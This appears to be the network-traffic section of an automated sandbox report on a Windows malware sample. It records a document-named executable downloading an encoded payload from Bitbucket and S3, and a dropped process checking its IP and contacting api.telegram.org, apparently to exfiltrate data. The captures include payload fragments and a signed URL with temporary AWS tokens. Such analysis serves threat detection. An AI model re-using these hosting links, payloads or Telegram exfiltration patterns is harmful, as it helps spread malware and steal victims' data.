Dec 18, 2024 16:16:50.813894987 CET	1.1.1.1	192.168.2.5	0xe677	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Dec 18, 2024 16:16:50.813894987 CET	1.1.1.1	192.168.2.5	0xe677	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Dec 18, 2024 16:17:01.145469904 CET	1.1.1.1	192.168.2.5	0xc85	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bitbucket.org

bbuseruploads.s3.amazonaws.com

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49731	132.226.247.73	80	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 16:16:50.982860088 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 18, 2024 16:16:52.435329914 CET	321	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 15:16:52 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 311d2843be3e0ec9cf520af164935f44 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49759	132.226.247.73	80	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 16:17:02.002053022 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 18, 2024 16:17:03.327090025 CET	321	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 15:17:03 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ef3be955122cdf3f414914dc7a935acc Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49775	132.226.247.73	80	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 16:17:08.791676998 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 18, 2024 16:17:10.098916054 CET	321	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 15:17:09 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 6f70ffcdc96bae2402542dcdc40611ea Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49715	185.166.143.49	443	1560	C:\Users\user\Desktop\D.G Governor Istek,Docx.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:16:41 UTC	187	OUT	GET /ntim1478/gpmaw/downloads/202_Cneehezxuzj HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: bitbucket.org
2024-12-18 15:16:41 UTC	5919	IN	HTTP/1.1 302 Found Date: Wed, 18 Dec 2024 15:16:41 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: AtlassianEdge Location: https://bbuseruploads.s3.amazonaws.com/e427e629-62a6-4ecd-bf22-56e4d6ea083f/downloads/3fdf6255-c09f-4309-a330-311e812ab273/202_Cneehezxuzj?response-content-disposition=attachment%3B%20filename%3D%22202_Cneehezxuzj%22&AWSAccessKeyId=ASIA6KOSE3BNEALCMKKZ&Signature=5HNNyrRhI17TtxEvBhRXBlIjzcE%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEJj%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIHzBvFwyiabwJo1RlEoXCuvYHlAj6GVUZcZJKMBSK6ENAiEA3lwDPyl2LnkI6qpuGfjEQS9N8qqF9JEL2NUziGWNIn8qpwIIYBAAGgw5ODQ1MjUxMDExNDYiDDj%2BrSjdv5z1DIwKsiqEApJ6u4jhBQd6j%2F999%2FKkXtAvgpY37KiSNSwzYxBC8wGz1X3uO0OlC3WWJ5HAblmMn89zpI6f9%2BRlrc7sEdixhZASuJjFVAm0rJDVe%2BcMUyRk%2FduiqyuXya%2BU7xCgRBhsKNelgYsfCR%2FexdjG4q1vGkc8XCMvlYKeYOdtMKIRlFzLXsXEh8MrIP8O90zcOf2tzV0xktzXWNPU1azrGxRsSRJXq35xOUz0%2FJR%2FQfN0mW9QaJrOxnrli3WFJajfSk9OFZwIhVZ8aqEv%2FHqW4txt8CUPEz8sZ1QR29gsSzQcgvThmwSrYgPJSR2%2BdgVltAF%2F17Esh33PZq4j1bIpUHdeXcONqWL9MJ3Ji7sGOp0BjViqRpDV2XSIOnqCOIjo564QwrPkJGWVJI%2B7Qg%2BAmAfIYrTa4QwMXzoydc9fWDEBwHeXx4VGraN4rvN9o4uGCAK98mQ8Io30C [TRUNCATED] Expires: Wed, 18 Dec 2024 15:16:41 GMT Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private X-Used-Mesh: False Vary: Accept-Language, Origin Content-Language: en X-View-Name: bitbucket.apps.downloads.views.download_file X-Dc-Location: Micros-3 X-Served-By: 35b9ad4f345a X-Version: 020364176b66 X-Static-Version: 020364176b66 X-Request-Count: 889 X-Render-Time: 0.04507756233215332 X-B3-Traceid: 1aff189c891048b1b5c148517a921f48 X-B3-Spanid: 68c7d9651d58cf77 X-Frame-Options: SAMEORIGIN Content-Security-Policy: script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net https://bbc-frontbucket-exp.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/; frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net atlassianblog.wpengine.com id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-serv [TRUNCATED] X-Usage-Quota-Remaining: 999179.981 X-Usage-Request-Cost: 833.10 X-Usage-User-Time: 0.021404 X-Usage-System-Time: 0.003589 X-Usage-Input-Ops: 0 X-Usage-Output-Ops: 0 Age: 0 X-Cache: MISS X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Atl-Traceid: 1aff189c891048b1b5c148517a921f48 Atl-Request-Id: 1aff189c-8910-48b1-b5c1-48517a921f48 Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Report-To: {"endpoints": [{"url": "https://dz8aopenkvv6s.cloudfront.net"}], "group": "endpoint-1", "include_subdomains": true, "max_age": 600} Nel: {"failure_fraction": 0.001, "include_subdomains": true, "max_age": 600, "report_to": "endpoint-1"} Server-Timing: atl-edge;dur=159,atl-edge-internal;dur=6,atl-edge-upstream;dur=154,atl-edge-pop;desc="aws-eu-central-1" Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49716	52.217.32.148	443	1560	C:\Users\user\Desktop\D.G Governor Istek,Docx.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:16:43 UTC	1287	OUT	GET /e427e629-62a6-4ecd-bf22-56e4d6ea083f/downloads/3fdf6255-c09f-4309-a330-311e812ab273/202_Cneehezxuzj?response-content-disposition=attachment%3B%20filename%3D%22202_Cneehezxuzj%22&AWSAccessKeyId=ASIA6KOSE3BNEALCMKKZ&Signature=5HNNyrRhI17TtxEvBhRXBlIjzcE%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEJj%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIHzBvFwyiabwJo1RlEoXCuvYHlAj6GVUZcZJKMBSK6ENAiEA3lwDPyl2LnkI6qpuGfjEQS9N8qqF9JEL2NUziGWNIn8qpwIIYBAAGgw5ODQ1MjUxMDExNDYiDDj%2BrSjdv5z1DIwKsiqEApJ6u4jhBQd6j%2F999%2FKkXtAvgpY37KiSNSwzYxBC8wGz1X3uO0OlC3WWJ5HAblmMn89zpI6f9%2BRlrc7sEdixhZASuJjFVAm0rJDVe%2BcMUyRk%2FduiqyuXya%2BU7xCgRBhsKNelgYsfCR%2FexdjG4q1vGkc8XCMvlYKeYOdtMKIRlFzLXsXEh8MrIP8O90zcOf2tzV0xktzXWNPU1azrGxRsSRJXq35xOUz0%2FJR%2FQfN0mW9QaJrOxnrli3WFJajfSk9OFZwIhVZ8aqEv%2FHqW4txt8CUPEz8sZ1QR29gsSzQcgvThmwSrYgPJSR2%2BdgVltAF%2F17Esh33PZq4j1bIpUHdeXcONqWL9MJ3Ji7sGOp0BjViqRpDV2XSIOnqCOIjo564QwrPkJGWVJI%2B7Qg%2BAmAfIYrTa4QwMXzoydc9fWDEBwHeXx4VGraN4rvN9o4uGCAK98mQ8Io30CJ2mll5bGrmu1Y%2B9SoBV38pLHiwvgAzvv3NdmAsCcGR [TRUNCATED] Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: bbuseruploads.s3.amazonaws.com
2024-12-18 15:16:44 UTC	544	IN	HTTP/1.1 200 OK x-amz-id-2: Mqm+4psmcKfeWkmFYRRyNVAvp3Yw4HBUTxYxAACYmF6bjbqnHJee4H7DqjO/+MpelZ/642gFueg= x-amz-request-id: 7A5R0WHAX4BV1S95 Date: Wed, 18 Dec 2024 15:16:45 GMT Last-Modified: Tue, 10 Dec 2024 22:09:20 GMT ETag: "26779352338d9dc792b7823fbf8d3268" x-amz-server-side-encryption: AES256 x-amz-version-id: IA20jz0GkMTujfnoGO26P_HUbrxCsGFq Content-Disposition: attachment; filename="202_Cneehezxuzj" Accept-Ranges: bytes Content-Type: application/octet-stream Content-Length: 777592 Server: AmazonS3 Connection: close
2024-12-18 15:16:44 UTC	16384	IN	Data Raw: 68 34 2b 47 4f 67 53 49 6b 69 7a 30 43 50 45 44 39 67 50 2f 42 2f 33 32 42 76 44 39 2f 2f 66 2b 43 4f 2f 34 38 41 50 36 37 77 50 31 41 76 6a 7a 39 66 34 42 2b 66 6b 49 38 76 66 37 38 76 2f 77 41 2f 62 32 41 66 66 7a 42 76 6e 2b 2b 2f 48 2b 2f 41 67 42 38 50 54 33 2f 77 45 49 38 2f 55 42 42 50 58 7a 2f 66 72 32 41 51 49 42 42 66 37 37 37 77 45 42 41 66 48 30 2f 77 55 44 41 2f 49 41 41 41 50 2f 2b 76 75 48 6a 34 59 36 42 49 69 53 4c 43 2f 38 38 2f 50 32 38 77 67 47 41 77 6a 34 68 34 2b 47 4f 67 53 49 6b 69 7a 49 78 35 32 4c 6b 4e 6a 54 7a 72 2f 43 78 5a 36 2b 30 37 37 61 31 4d 36 6d 6c 6f 75 2f 77 39 72 48 31 74 65 6a 78 74 54 59 77 38 50 48 70 49 2b 54 78 39 50 48 31 63 4c 56 72 63 53 2f 7a 63 50 61 32 70 32 49 6b 74 48 52 78 38 6a 42 76 71 33 52 76 38 7a Data Ascii: h4+GOgSIkiz0CPED9gP/B/32BvD9//f+CO/48AP67wP1Avjz9f4B+fkI8vf78v/wA/b2AffzBvn++/H+/AgB8PT3/wEI8/UBBPXz/fr2AQIBBf777wEBAfH0/wUDA/IAAAP/+vuHj4Y6BIiSLC/88/P28wgGAwj4h4+GOgSIkizIx52LkNjTzr/CxZ6+077a1M6mlou/w9rH1tejxtTYw8PHpI+Tx9PH1cLVrcS/zcPa2p2IktHRx8jBvq3Rv8z
2024-12-18 15:16:44 UTC	480	IN	Data Raw: 55 49 31 31 51 71 6f 59 53 68 44 56 72 77 67 47 59 57 48 78 41 4c 44 68 61 37 53 58 7a 31 68 4a 6c 61 78 71 74 51 7a 33 38 30 6c 54 61 35 31 2b 50 45 2f 6a 64 53 4e 52 54 4d 38 4c 78 46 53 6e 4a 4a 6f 33 73 36 59 33 39 46 59 38 76 2f 46 32 37 73 35 44 4d 6e 68 76 48 5a 6e 31 62 32 38 4e 74 76 61 47 49 46 70 34 75 66 61 43 58 77 63 76 72 65 57 53 78 64 64 59 6a 31 66 30 35 59 39 6a 61 54 62 63 39 36 4b 57 53 4b 77 55 39 4b 70 34 73 47 57 78 59 37 4b 74 2b 7a 45 30 51 6e 32 5a 49 35 6c 41 32 2f 66 42 32 58 69 35 32 6f 61 73 2f 79 59 31 69 2b 61 4a 6e 32 57 2b 67 2f 2f 4e 62 68 63 67 6d 57 4f 43 75 6e 45 4a 6b 6e 43 43 6a 30 45 55 46 43 64 6b 42 75 75 6a 67 7a 39 6f 44 66 32 4b 44 56 77 55 39 57 76 5a 66 6c 42 67 65 2f 6a 39 5a 62 4b 67 42 58 45 2f 47 52 51 Data Ascii: UI11QqoYShDVrwgGYWHxALDha7SXz1hJlaxqtQz380lTa51+PE/jdSNRTM8LxFSnJJo3s6Y39FY8v/F27s5DMnhvHZn1b28NtvaGIFp4ufaCXwcvreWSxddYj1f05Y9jaTbc96KWSKwU9Kp4sGWxY7Kt+zE0Qn2ZI5lA2/fB2Xi52oas/yY1i+aJn2W+g//NbhcgmWOCunEJknCCj0EUFCdkBuujgz9oDf2KDVwU9WvZflBge/j9ZbKgBXE/GRQ
2024-12-18 15:16:44 UTC	16384	IN	Data Raw: 45 6d 4f 68 45 65 36 49 46 77 66 73 78 56 45 57 35 64 6d 4d 74 6e 6e 79 50 35 53 2f 53 44 74 5a 36 79 6c 69 52 4f 7a 59 39 70 47 63 4b 75 56 59 31 58 42 35 61 54 69 58 33 71 36 67 71 34 36 52 4e 53 6e 74 55 42 51 6d 70 73 72 51 59 50 64 46 67 42 33 72 59 7a 59 77 6a 39 55 37 72 59 2b 38 44 48 46 61 45 2b 77 58 4e 59 41 61 52 6e 68 6e 59 49 36 47 69 55 42 6d 66 35 43 4b 6b 46 50 77 7a 54 49 59 41 6a 57 46 54 76 77 4b 58 31 38 69 7a 61 2b 33 43 71 4d 2b 64 30 58 32 4a 35 62 76 61 56 73 54 7a 5a 4f 38 6f 35 49 70 55 50 32 43 50 6e 7a 36 55 2b 4f 49 33 52 4f 6d 55 43 6f 30 6f 54 56 37 53 44 6e 69 4a 61 71 4e 31 73 56 61 49 38 2f 63 34 6d 67 79 77 57 73 48 59 34 54 50 32 6d 54 6e 78 53 67 44 72 79 77 73 34 6c 38 73 4c 78 6e 5a 32 38 30 2b 2b 38 2f 42 5a 76 57 Data Ascii: EmOhEe6IFwfsxVEW5dmMtnnyP5S/SDtZ6yliROzY9pGcKuVY1XB5aTiX3q6gq46RNSntUBQmpsrQYPdFgB3rYzYwj9U7rY+8DHFaE+wXNYAaRnhnYI6GiUBmf5CKkFPwzTIYAjWFTvwKX18iza+3CqM+d0X2J5bvaVsTzZO8o5IpUP2CPnz6U+OI3ROmUCo0oTV7SDniJaqN1sVaI8/c4mgywWsHY4TP2mTnxSgDryws4l8sLxnZ280++8/BZvW
2024-12-18 15:16:44 UTC	1024	IN	Data Raw: 48 39 47 4b 6b 78 7a 78 35 49 43 64 47 55 78 37 68 35 31 39 46 66 78 58 63 42 46 32 37 2b 76 70 61 6c 47 31 67 4e 49 7a 4f 39 72 64 64 6a 37 36 4b 6b 34 6a 4f 33 67 55 6a 33 53 4b 66 49 69 54 55 66 68 54 49 6c 63 2b 47 4b 74 59 72 48 42 4c 42 70 4c 67 71 67 72 48 75 6a 59 50 7a 37 37 4e 49 42 76 50 56 4d 59 67 37 6f 77 77 59 46 6e 77 68 64 45 45 6c 4f 74 2f 68 76 4f 79 64 44 4d 57 30 31 74 2b 41 39 52 30 45 61 4b 77 54 72 4e 43 72 64 6c 64 77 5a 2b 59 53 2f 2b 61 76 64 6d 46 7a 72 43 38 57 4d 61 71 67 31 73 32 51 79 74 37 4d 31 47 6c 6a 34 53 61 6d 4d 65 55 78 63 5a 47 39 31 6c 66 2f 58 61 70 36 4f 48 68 42 75 50 68 77 47 47 73 47 64 7a 4c 51 50 6e 6c 69 57 31 41 37 78 6c 73 54 4b 78 4c 58 4e 64 49 6e 6e 57 56 38 31 49 51 57 6e 70 42 74 74 58 33 79 43 31 Data Ascii: H9GKkxzx5ICdGUx7h519FfxXcBF27+vpalG1gNIzO9rddj76Kk4jO3gUj3SKfIiTUfhTIlc+GKtYrHBLBpLgqgrHujYPz77NIBvPVMYg7owwYFnwhdEElOt/hvOydDMW01t+A9R0EaKwTrNCrdldwZ+YS/+avdmFzrC8WMaqg1s2Qyt7M1Glj4SamMeUxcZG91lf/Xap6OHhBuPhwGGsGdzLQPnliW1A7xlsTKxLXNdInnWV81IQWnpBttX3yC1
2024-12-18 15:16:44 UTC	16384	IN	Data Raw: 63 2f 52 59 64 6f 6d 35 4d 77 77 5a 6b 76 51 2b 76 47 53 36 49 48 53 61 47 6e 39 4f 6a 68 67 45 73 78 4e 59 61 73 6b 75 51 76 33 52 38 47 6b 75 76 37 47 37 7a 79 72 38 2f 46 64 30 2f 34 70 44 6d 58 68 4a 64 6c 42 6b 2f 68 6b 51 49 71 30 73 37 70 78 4b 79 68 41 71 68 67 6c 2b 46 78 51 63 57 42 33 38 61 6e 43 63 68 77 6a 50 45 71 6f 66 38 6f 7a 33 6e 63 57 6d 2b 68 6f 75 75 37 63 61 6f 4b 38 6d 42 59 72 4a 6b 6e 71 52 75 7a 31 55 69 77 43 35 54 4d 39 76 2b 4b 76 59 6a 54 75 69 61 77 2b 45 51 78 47 4f 73 50 54 47 33 49 58 5a 31 74 64 35 49 46 42 50 4e 33 6a 49 57 35 4f 34 74 35 46 53 45 48 68 39 58 78 75 72 59 7a 75 79 31 74 6d 2b 55 4f 44 6d 4a 41 63 4a 79 44 67 6d 4b 70 36 4c 46 36 73 55 44 50 5a 35 55 71 75 55 75 43 77 48 45 2f 30 30 35 72 6f 68 2b 44 49 Data Ascii: c/RYdom5MwwZkvQ+vGS6IHSaGn9OjhgEsxNYaskuQv3R8Gkuv7G7zyr8/Fd0/4pDmXhJdlBk/hkQIq0s7pxKyhAqhgl+FxQcWB38anCchwjPEqof8oz3ncWm+houu7caoK8mBYrJknqRuz1UiwC5TM9v+KvYjTuiaw+EQxGOsPTG3IXZ1td5IFBPN3jIW5O4t5FSEHh9XxurYzuy1tm+UODmJAcJyDgmKp6LF6sUDPZ5UquUuCwHE/005roh+DI
2024-12-18 15:16:44 UTC	1024	IN	Data Raw: 62 36 53 70 4f 2f 51 33 63 79 57 71 4a 68 32 38 6e 33 6b 32 47 48 48 4f 51 32 6e 4f 55 38 47 7a 63 57 37 31 77 69 6d 46 33 77 70 2f 4b 6d 59 72 58 6f 63 56 54 72 43 50 2f 45 73 36 66 2f 2b 30 71 43 43 77 68 41 75 56 6b 54 59 71 34 43 4b 52 55 46 47 6f 37 53 39 4e 43 76 46 51 79 63 43 67 46 63 55 4a 2b 51 76 62 74 31 62 54 73 45 58 68 32 7a 71 7a 6b 4d 31 64 38 42 39 57 76 41 37 4f 34 76 4f 64 79 33 55 74 6c 62 75 62 61 39 52 77 57 37 56 41 6d 4d 46 47 77 4f 56 59 73 6d 66 70 5a 73 4b 45 52 58 63 31 6e 34 53 54 4d 68 4a 37 48 44 41 4a 70 32 6d 6a 58 63 59 78 66 39 58 35 33 53 6c 59 6e 36 38 4a 64 2b 4a 72 53 52 6a 61 30 49 44 5a 39 67 4d 42 4b 31 6b 73 4a 4f 4e 31 6b 4c 32 4e 4f 6f 4d 2b 30 55 59 45 71 6a 51 69 54 4e 67 6f 39 38 45 45 47 6d 71 2f 42 42 65 Data Ascii: b6SpO/Q3cyWqJh28n3k2GHHOQ2nOU8GzcW71wimF3wp/KmYrXocVTrCP/Es6f/+0qCCwhAuVkTYq4CKRUFGo7S9NCvFQycCgFcUJ+Qvbt1bTsEXh2zqzkM1d8B9WvA7O4vOdy3Utlbuba9RwW7VAmMFGwOVYsmfpZsKERXc1n4STMhJ7HDAJp2mjXcYxf9X53SlYn68Jd+JrSRja0IDZ9gMBK1ksJON1kL2NOoM+0UYEqjQiTNgo98EEGmq/BBe
2024-12-18 15:16:44 UTC	1749	IN	Data Raw: 41 4c 7a 49 42 33 70 41 69 6d 6e 4d 5a 65 30 6c 52 4d 58 57 4a 2f 75 64 69 39 6e 6a 63 65 52 6a 30 63 35 4a 68 43 66 59 46 68 4f 5a 33 64 78 38 72 2f 76 42 6a 6f 2b 77 4c 48 6d 76 2f 4a 73 64 77 74 2b 72 41 34 68 35 7a 54 57 35 38 62 51 48 51 66 4f 47 59 62 37 36 57 2f 53 55 56 76 43 76 57 33 66 45 64 51 48 4d 2f 6f 66 59 79 31 6e 48 4a 6e 68 4c 4d 75 63 69 49 4b 58 6b 51 37 61 57 2b 48 42 4d 6c 49 31 57 51 68 71 61 6b 32 55 64 78 67 49 56 62 75 59 71 6e 5a 2b 4e 57 57 30 38 4c 6b 2f 72 44 36 39 6a 61 58 71 65 50 76 38 30 6a 36 2f 78 47 79 55 76 34 6c 45 45 35 53 55 6e 4d 56 71 74 71 73 45 53 71 64 70 57 4c 54 68 4c 77 35 79 46 6e 42 59 73 34 65 58 69 77 32 44 56 71 73 4d 6f 75 59 58 62 42 59 69 4a 68 67 76 2f 59 34 63 34 61 59 33 57 71 61 45 37 56 6c 6b Data Ascii: ALzIB3pAimnMZe0lRMXWJ/udi9njceRj0c5JhCfYFhOZ3dx8r/vBjo+wLHmv/Jsdwt+rA4h5zTW58bQHQfOGYb76W/SUVvCvW3fEdQHM/ofYy1nHJnhLMuciIKXkQ7aW+HBMlI1WQhqak2UdxgIVbuYqnZ+NWW08Lk/rD69jaXqePv80j6/xGyUv4lEE5SUnMVqtqsESqdpWLThLw5yFnBYs4eXiw2DVqsMouYXbBYiJhgv/Y4c4aY3WqaE7Vlk
2024-12-18 15:16:44 UTC	9000	IN	Data Raw: 54 71 73 61 4d 39 43 37 4c 58 39 6c 57 62 77 45 38 70 43 4d 38 4f 48 43 57 55 59 49 6e 43 69 37 34 48 32 67 55 44 65 6b 74 6a 4f 4d 65 7a 54 6e 58 71 78 76 57 37 4f 32 5a 68 34 53 72 6c 46 63 6f 53 75 77 56 4e 58 6b 61 56 79 6c 47 4b 38 73 48 6b 30 4a 43 72 47 79 62 57 59 49 4b 73 68 30 79 47 66 61 34 58 7a 43 38 72 7a 65 6a 53 73 31 6c 55 67 38 54 6d 62 70 50 5a 2b 77 55 74 2b 62 4b 78 2f 66 6c 46 79 78 42 48 55 75 46 69 75 44 58 73 6c 4d 67 51 74 35 4b 2b 51 48 46 2b 34 59 70 45 59 55 67 4f 31 4f 57 2f 67 6e 6c 45 2b 61 38 6a 31 6a 50 65 49 77 50 57 52 38 55 70 2f 7a 58 62 79 59 65 52 50 65 77 36 79 64 51 31 6a 68 50 69 6f 74 4a 32 6b 46 42 54 48 37 5a 39 42 2b 4e 31 42 61 37 2f 6f 6b 33 2f 4a 4d 71 70 6e 6f 62 79 2b 31 76 37 43 53 43 66 4c 73 77 32 61 Data Ascii: TqsaM9C7LX9lWbwE8pCM8OHCWUYInCi74H2gUDektjOMezTnXqxvW7O2Zh4SrlFcoSuwVNXkaVylGK8sHk0JCrGybWYIKsh0yGfa4XzC8rzejSs1lUg8TmbpPZ+wUt+bKx/flFyxBHUuFiuDXslMgQt5K+QHF+4YpEYUgO1OW/gnlE+a8j1jPeIwPWR8Up/zXbyYeRPew6ydQ1jhPiotJ2kFBTH7Z9B+N1Ba7/ok3/JMqpnoby+1v7CSCfLsw2a
2024-12-18 15:16:44 UTC	16384	IN	Data Raw: 4c 37 32 76 56 71 61 68 41 6f 35 44 75 64 79 70 32 51 4e 31 35 77 6e 75 6f 30 2f 45 56 6d 4a 7a 6a 50 64 57 36 2b 63 69 2b 68 38 6e 5a 2b 33 4a 74 75 55 45 66 4b 4b 2b 7a 6b 37 55 54 49 4e 6d 32 33 53 54 48 35 7a 69 54 4f 70 4f 32 35 6b 6f 38 49 4c 4e 76 57 52 62 6b 6f 54 54 34 6d 35 6b 34 5a 43 4a 4d 71 61 41 56 48 6a 7a 63 4e 59 4b 53 68 57 55 57 6e 5a 41 31 36 33 66 67 49 54 6a 4b 70 67 79 43 6d 54 38 66 50 42 41 59 68 31 66 6a 5a 4b 76 4e 79 4c 69 44 4d 65 43 53 4f 48 37 72 30 62 78 4c 2f 4a 75 2f 57 63 31 37 46 36 53 6c 49 77 65 4a 68 46 31 79 48 4e 34 74 54 56 73 69 6d 55 55 48 53 42 41 77 41 44 61 6c 2b 6f 44 71 56 65 63 35 36 44 4f 33 35 70 79 6c 4a 73 6d 69 59 30 72 61 37 33 44 41 61 49 6c 41 6c 65 31 71 66 76 4b 69 4e 31 6c 77 7a 41 53 68 41 48 Data Ascii: L72vVqahAo5Dudyp2QN15wnuo0/EVmJzjPdW6+ci+h8nZ+3JtuUEfKK+zk7UTINm23STH5ziTOpO25ko8ILNvWRbkoTT4m5k4ZCJMqaAVHjzcNYKShWUWnZA163fgITjKpgyCmT8fPBAYh1fjZKvNyLiDMeCSOH7r0bxL/Ju/Wc17F6SlIweJhF1yHN4tTVsimUUHSBAwADal+oDqVec56DO35pylJsmiY0ra73DAaIlAle1qfvKiN1lwzAShAH
2024-12-18 15:16:44 UTC	1024	IN	Data Raw: 71 61 68 71 61 73 79 63 55 42 30 4e 34 4b 63 50 6b 79 52 4f 53 51 4b 79 46 2b 41 33 32 62 46 72 45 6c 6b 59 63 39 46 6a 4e 44 71 45 6b 38 6b 6c 67 37 66 35 6d 63 6c 75 78 72 73 4e 67 32 74 69 77 58 77 76 78 2f 7a 7a 44 6a 33 6c 6d 76 61 4f 63 6c 4c 65 46 68 4d 58 4b 75 66 4d 58 35 75 6a 2f 78 2f 30 44 63 56 72 38 69 45 79 50 79 79 44 53 79 44 61 4a 53 5a 6b 53 44 79 47 78 36 58 51 76 62 6c 66 6b 4e 6d 75 41 63 48 4b 30 58 58 53 71 37 57 6b 75 36 7a 6a 41 39 2b 64 54 45 6b 30 31 63 61 46 77 70 76 61 79 47 62 75 55 44 41 76 54 6a 6a 50 66 77 61 71 46 51 46 44 51 50 45 4e 4f 7a 61 65 68 4b 6b 53 36 64 48 78 4c 79 58 75 2b 64 56 4e 56 55 35 5a 47 43 6f 4a 48 30 67 79 50 45 6f 35 66 2f 4f 37 4f 55 2b 46 37 52 71 42 64 75 43 65 39 43 30 36 31 57 64 67 4c 55 51 Data Ascii: qahqasycUB0N4KcPkyROSQKyF+A32bFrElkYc9FjNDqEk8klg7f5mcluxrsNg2tiwXwvx/zzDj3lmvaOclLeFhMXKufMX5uj/x/0DcVr8iEyPyyDSyDaJSZkSDyGx6XQvblfkNmuAcHK0XXSq7Wku6zjA9+dTEk01caFwpvayGbuUDAvTjjPfwaqFQFDQPENOzaehKkS6dHxLyXu+dVNVU5ZGCoJH0gyPEo5f/O7OU+F7RqBduCe9C061WdgLUQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49758	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
